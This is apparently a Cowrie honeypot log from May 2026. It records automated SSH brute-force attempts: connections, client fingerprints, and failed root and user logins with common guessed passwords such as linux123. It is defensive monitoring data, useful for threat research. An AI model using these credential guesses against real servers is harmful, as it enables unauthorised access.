{"eventid":"cowrie.login.failed","username":"root","password":"wkiconsole","message":"login attempt [root/wkiconsole] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:17.197942Z","src_ip":"14.63.196.175","session":"8e1443b0f524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:18.405324Z","src_ip":"14.63.196.175","session":"8e1443b0f524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45076,"dst_ip":"10.17.0.5","dst_port":22,"session":"31978ac21162","protocol":"ssh","message":"New connection: 8.218.166.49:45076 (10.17.0.5:22) [session: 31978ac21162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:32.348420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:33.238444Z","src_ip":"8.218.166.49","session":"31978ac21162","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:33.243386Z","src_ip":"8.218.166.49","session":"31978ac21162","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:35.193201Z","src_ip":"8.218.166.49","session":"31978ac21162","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:37.011322Z","src_ip":"8.218.166.49","session":"31978ac21162","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41904,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc41f6633f0c","protocol":"ssh","message":"New connection: 8.218.166.49:41904 (10.17.0.5:22) [session: dc41f6633f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:43.171424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:43.175842Z","src_ip":"8.218.166.49","session":"dc41f6633f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":36920,"dst_ip":"10.17.0.5","dst_port":22,"session":"a88dd1614cdf","protocol":"ssh","message":"New connection: 198.23.150.42:36920 (10.17.0.5:22) [session: a88dd1614cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:47.969805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:47.974606Z","src_ip":"198.23.150.42","session":"a88dd1614cdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:47.993332Z","src_ip":"198.23.150.42","session":"a88dd1614cdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:48.102077Z","src_ip":"198.23.150.42","session":"a88dd1614cdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:54:49.124122Z","src_ip":"198.23.150.42","session":"a88dd1614cdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":38386,"dst_ip":"10.17.0.5","dst_port":22,"session":"883e2a191ee4","protocol":"ssh","message":"New connection: 8.218.166.49:38386 (10.17.0.5:22) [session: 883e2a191ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:03.041141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:06.411381Z","src_ip":"8.218.166.49","session":"883e2a191ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:06.415110Z","src_ip":"8.218.166.49","session":"883e2a191ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":51882,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e509a8bc4dc","protocol":"ssh","message":"New connection: 49.207.40.162:51882 (10.17.0.5:22) [session: 9e509a8bc4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:06.958261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:06.963161Z","src_ip":"49.207.40.162","session":"9e509a8bc4dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:07.181171Z","src_ip":"49.207.40.162","session":"9e509a8bc4dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1916","message":"login attempt [root/1916] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:08.085538Z","src_ip":"49.207.40.162","session":"9e509a8bc4dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:09.306517Z","src_ip":"49.207.40.162","session":"9e509a8bc4dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53494,"dst_ip":"10.17.0.5","dst_port":22,"session":"147597e38267","protocol":"ssh","message":"New connection: 8.218.166.49:53494 (10.17.0.5:22) [session: 147597e38267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:11.469420Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":40772,"dst_ip":"10.17.0.5","dst_port":22,"session":"cca928df01b0","protocol":"ssh","message":"New connection: 182.180.57.212:40772 (10.17.0.5:22) [session: cca928df01b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:15.161991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:15.167528Z","src_ip":"182.180.57.212","session":"cca928df01b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:15.393193Z","src_ip":"182.180.57.212","session":"cca928df01b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:16.327134Z","src_ip":"182.180.57.212","session":"cca928df01b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:17.555563Z","src_ip":"182.180.57.212","session":"cca928df01b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":51348,"dst_ip":"159.203.135.109","dst_port":22,"session":"188ba015fa2e","protocol":"ssh","message":"New connection: 101.36.124.219:51348 (159.203.135.109:22) [session: 188ba015fa2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:23.716331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:23.721533Z","src_ip":"101.36.124.219","session":"188ba015fa2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:23.945099Z","src_ip":"101.36.124.219","session":"188ba015fa2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:24.080089Z","src_ip":"8.218.166.49","session":"dc41f6633f0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sns","message":"login attempt [root/sns] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:24.858026Z","src_ip":"101.36.124.219","session":"188ba015fa2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:26.081965Z","src_ip":"101.36.124.219","session":"188ba015fa2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:26.245555Z","src_ip":"8.218.166.49","session":"147597e38267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":51112,"dst_ip":"10.17.0.5","dst_port":22,"session":"b65e0f4d59d6","protocol":"ssh","message":"New connection: 183.182.125.142:51112 (10.17.0.5:22) [session: b65e0f4d59d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:36.753688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:36.758750Z","src_ip":"183.182.125.142","session":"b65e0f4d59d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:37.034633Z","src_ip":"183.182.125.142","session":"b65e0f4d59d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:38.166195Z","src_ip":"183.182.125.142","session":"b65e0f4d59d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:39.443501Z","src_ip":"183.182.125.142","session":"b65e0f4d59d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"sam","message":"login attempt [sam/sam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:52.070783Z","src_ip":"8.218.166.49","session":"883e2a191ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"52.3","message":"Connection lost after 52.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:55.308859Z","src_ip":"8.218.166.49","session":"883e2a191ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.68.4.170","src_port":58786,"dst_ip":"10.17.0.5","dst_port":22,"session":"08a063a25ee1","protocol":"ssh","message":"New connection: 138.68.4.170:58786 (10.17.0.5:22) [session: 08a063a25ee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:56.689801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:55:56.694335Z","src_ip":"138.68.4.170","session":"08a063a25ee1","protocol":"ssh"}
